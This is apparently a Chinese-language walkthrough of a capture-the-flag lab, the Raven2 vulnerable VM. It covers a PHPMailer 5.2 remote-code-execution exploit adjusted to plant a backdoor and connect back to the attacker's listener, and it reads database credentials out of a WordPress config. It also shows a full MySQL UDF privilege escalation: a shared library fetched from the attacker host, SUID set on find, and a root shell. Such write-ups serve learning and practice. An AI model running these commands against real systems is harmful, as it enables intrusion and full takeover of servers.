记一次 Raven2 渗透(phpmailer漏洞+UDF提权)
目录:
1. 寻找IP
2.dirb目录爆破
2.PHPMailer漏洞反弹得到shell
3.python版本的exp修改
4.查看wordpress的wp-config.php配置文件得到数据库账号和密码
5.使用LinEnum.sh对linux进行信息收集
6.mysqlUDF提权,kali对EXP的编译
7.给程序chmod u+s 增加suid权限,可以以root来运行
8.利用带有suid标志的find命令进行命令执行拿到root权限
0x01 寻找IP
安装好了我们的靶机,当然我们不知道账号密码,也不知道当前的ip ,一开始当然先寻找IP咯
使用命令:
nmap -sn 192.168.48.1/24
起始的IP是 1,而我们kali的ip是157 , 254是结束ip ,156应该就是我们靶机的ip了,扫下开了什么端口呢,-sS只扫描了1000以内的端口,这边我们就直接用-p-参数了,看到有22,80,111,39934端口,
先看下80端口,发现没啥好利用的东西
0x02 目录扫描
这边我们使用到了dirb目录扫描,扫出来很多了目录,找了半天才找到这个vendor,嘤嘤嘤~
在/vendor/PATH路劲下我们发现了第一枚flag
还有一个README.MD,发现有一个PHPmailer,百度了一下是一个发送邮件类,版本是5.2
还发现了了个version,但是不知道是哪个软件的
这边百度了一下,发现存在phpmailer远程命令执行漏洞 ,这边直接用kali自带的searchploit,并且将其复制到我们的根目录下
复制到了根目录,我们要修改下exp,下图中红框标注的是修改的地方
在开头加上这些东西,否则注释里一大堆非ASCII字符会报错
修改target为靶机IP地址,利用文件为contact.php,生成的后门文件为bb.php
修改成你的攻击机的ip和监听的端口
修改成后门文件的绝对路径
这时候我们执行exp
pyhthon3 40974.py
这个时候访问contact.php,就会生成我们的后门文件bb.php,然后我们就kali监听我们的4444端口(exp设置的是4444端口),先监听再去访问哦~
用python切换到交互shell,,我这儿没用,因为不知道为什么是双字母了,后面还是太年轻了, (nc模式下的shell不支持su交互,还是得先利用python提升到伪终端)
python -c 'import pty;pty.spawn("/bin/bash")'
一猜当前肯定只是www权限,果不其然。而且当前目录是/var/www/html目录下
我们cd上个目录,发现了flag2.txt
,
而且在 /var/www/ 目录下,看到了有个wordpress目录,而且目录下有配置文件config.php,一看直接受不了了,mysql数据库的账号密码直接看到了
题目提示的是有3个flag,看来是要提权了,这边直接在我的kali上安装一个LinEnum.sh是对LINUX进行信息收集,方便提权使用,项目地址:https://github.com/rebootuser/LinEnum ,复制到本地服务器上进行编译,在传到目标机上,
、
在目标机用wget下载就好啦,不知道python交互的时候怎么回事,字母都是双写,一直解决不了,很烦!(ps:后面采用xshell 连接kali,成功解决,图就难的改了 哈哈)
收集到mysql 是root权限,试试udf提权呢。
连接上了数据库,查看版本,看到版本是5.5.60是可以udf提权的哈,这边也是用kali先下载编译好exp,不过有个小坑,我kali使用wget下载的时候编译文件一直报错,没办法 我就只好采用手动复制的方法去将exp复制下来,exp网址:https://www.exploit-db/download/1518
当我们复制好了代码,新建一个名字为raptor_udf.c的文件,将exp复制进去。然后编译
gcc -g -c raptor_udf.c gcc -g -shared -o raptor_udf.so raptor_udf.o -lc
然后将raptor_udf2.so 复制到本地网站服务器上,
靶机去下载
cd /tmp
wget http://192.168.48.157/raptor.udf.so
接着就去mysql敲命令就行了
mysql> use mysql; use mysql; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed mysql> create table foo(line blob); create table foo(line blob); Query OK, 0 rows affected (0.08 sec) mysql> insert into foo values(load_file('/tmp/raptor_udf.so')); insert into foo values(load_file('/tmp/raptor_udf.so')); Query OK, 1 row affected (0.01 sec) mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf.so'; select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf.so'; Query OK, 1 row affected (0.11 sec) mysql> create function do_system returns integer soname 'raptor_udf.so'; create function do_system returns integer soname 'raptor_udf.so'; Query OK, 0 rows affected (0.00 sec) mysql> select * from mysql.func; select * from mysql.func; +-----------+-----+---------------+----------+ | name | ret | dl | type | +-----------+-----+---------------+----------+ | do_system | 2 | raptor_udf.so | function | +-----------+-----+---------------+----------+ row in set (0.00 sec) mysql> select do_system('chmod u+s /usr/bin/find'); select do_system('chmod u+s /usr/bin/find'); +--------------------------------------+ | do_system('chmod u+s /usr/bin/find') | +--------------------------------------+ | 0 | +--------------------------------------+ row in set (0.01 sec) mysql> exit exit Bye www-data@Raven:/tmp$ touch finn touch finn www-data@Raven:/tmp$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@Raven:/tmp$ find finn -exec "/bin/sh" \; find finn -exec "/bin/sh" \; # whoami whoami root #
最后看到我们提权成功了啊,做了一下午 舒服啊~
成功得到最后一个flag